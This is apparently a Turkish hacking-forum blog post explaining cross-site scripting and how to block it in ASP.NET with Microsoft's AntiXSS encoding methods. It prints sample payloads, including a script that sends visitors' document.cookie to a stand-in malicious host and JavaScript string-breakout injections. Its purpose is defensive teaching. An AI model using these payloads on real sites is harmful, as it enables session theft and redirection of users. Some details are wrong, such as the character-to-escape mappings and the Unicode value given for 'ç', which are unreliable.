Baglantilar


Kategori: Haberler

Merhabalar..

HacKHeLL.Com Olarak daha önce forumumuzda xss yi program haline getirerek şu anda üyelerin göremediği yer ‘de arşive kaldırmış bulunuyoruz.

Makaleyi okumadan Buraya Tıklatarak Ulaşacağınız Bölümden Xss’nin Ne olduğuna dair bilgiler alabilirsiniz..

Uzun zaman geçti Xss neden hala anlatılmıyor ya/da çalışmıyormu? Gibi sorunlarınıza cavap niteliyi taşıyan sayfaya Buraya Tıklatarak ulaşabilirsiniz..

Bu kadar bilgiden sonra Xss nin hala var olduğunu düşünerek korunma yollarımıza göz atalım.

Cross Site Scripting bilindiği gibi saadece maillerde değil web sitelerini hackleme yöntemleri arasında ‘da bulunmakta.. Ayrıntılı bilgi için Buraya Bakabilirsiniz..

Makalemizde Cross Site Scripting açığından korunmak için gerekli yolları Microsoft tarafından piyasaya sürülen program ile anlatacağım..

Öncelikle Microsoft ‘un resmi sitesindeki Microsoft.Application.Security.AntiXSS‘yazılımı bilgisayarımıza inndiriyoruz..

Kurulum evreleri Gif örneyi :

Programı install ettikten sonra artık neye yaradığından bahsedelim =)

Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 vazgeçilmez metot ile hedeften sitemizi kaçırıcaz bu metotlar ;

• HtmlEncode
• HtmlAttributeEncode
• JavaScriptEncode
• UrlEncode
• VisualBasicScriptEncode
• XmlEncode
• XmlAttributeEncode


Örnek :
l

HTML Code:

tAd.Text = “‘); location.href=’[url]http://www.hackhell.com’;[/url] alert(’a”);

— Bunun yerine ;

Olması Gereken : l

Code:

tAd.Text = JavaScriptEncode(”‘); location.href=’http://hackhell.com’; alert(’a”);

Neden böyle olması gerekiyor diye kendi kendinize sorabilirsiniz ANTİXSS kütüphanesi belli başlı karakterleri ” Encode ” eder bunlar ascii değeri 160-255 olan karakterlerdir.

_______________
ProfessionaL’lar için
Biraz daha ayrıntıya inerisek;

Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.

Örneğin bir ziyaretçi defteri doldururken mesaj kısmına

Code:

<script> location.href= ‘http://www.google.com’;</script>

Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında sizin sitenizi değil, Google’ı göreceklerdir.

Ziyaretçilerin tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir.

Code:

<script> document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document.cookie </script>

Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.

Asp.NET programcıları bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.

Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta.

Bu da Asp.NET programcısının “Fck Editor” kullandığı sayfasının başına ValidateRequest=”false” gibi bir kodu eklemesine sebep veriyor. Bu da XSS saldırıları için bir davet anlamına gelir.

Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.

Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.

Javascript için basit bir örnek verelim.
Default.aspx dosyamızda bulunan Javascript :

Code:

<script type="text/javascript" > alert('Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />'); </script>

Default.aspx.cs dosyasından gönderilen bilgi :

Code:

ltAd.Text = "heLL";

Sayfa çalıştırıldığında “Merhaba heLL” şeklinde bir MessageBox çıkıyor.

“heLL” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa :

Code:

ltAd.Text = " ' location.href='http://www.google.com'; alert('a";

Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim :

Code:

<script type="text/javascript" > alert('Merhaba '); location.href='http://www.google.com'; alert('a'); </script>

Ziyaretçi “Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur.

Bu konuda örnekler çoğaltılabilir.

Yukarıda verdiğim örnek ile ;

Code:

ltAd.Text = "'); location.href='http://www.google.com'; alert('a");

yerine;

Code:

using Microsoft.Security.Application.AntiXss; ... ltAd.Text = JavaScriptEncode("'); location.href='http://www.google.com'; alert('a");

Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.

Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim :

Code:

<script type="text/javascript" > alert('Merhaba '\x27\x29\x3b location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b alert\x28\x27a'); </script>

Görüldüğü gibi “)“ işareti \x27 ye , “;” işareti \x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.

Örneğin

Code:

ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptEncode("heLL");


Şeklinde bir kullanımda ekranda “heLL” yazar ancak kaynak kodunda “ç” karakteri \u00e7 olarak kodlanmıştır.

“ç” harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7 olarak tanır. .

Saygılar…

Not: Konunun Bir Kopyası Security Bölümün’de Diğeri ise mail hacking seucirty bölümünde sabitte-kilitli olarak bulunmaktadır.

- Bu yazı şu ana kadar 1.067 kez görüntülendi..
Yorumlar ve Geribildirimler
1 adet
Sefa #
9 Ocak 2009, 16:41

eyw saoL

Sizin Yorumunuz



Yazilar iin RSS aboneligi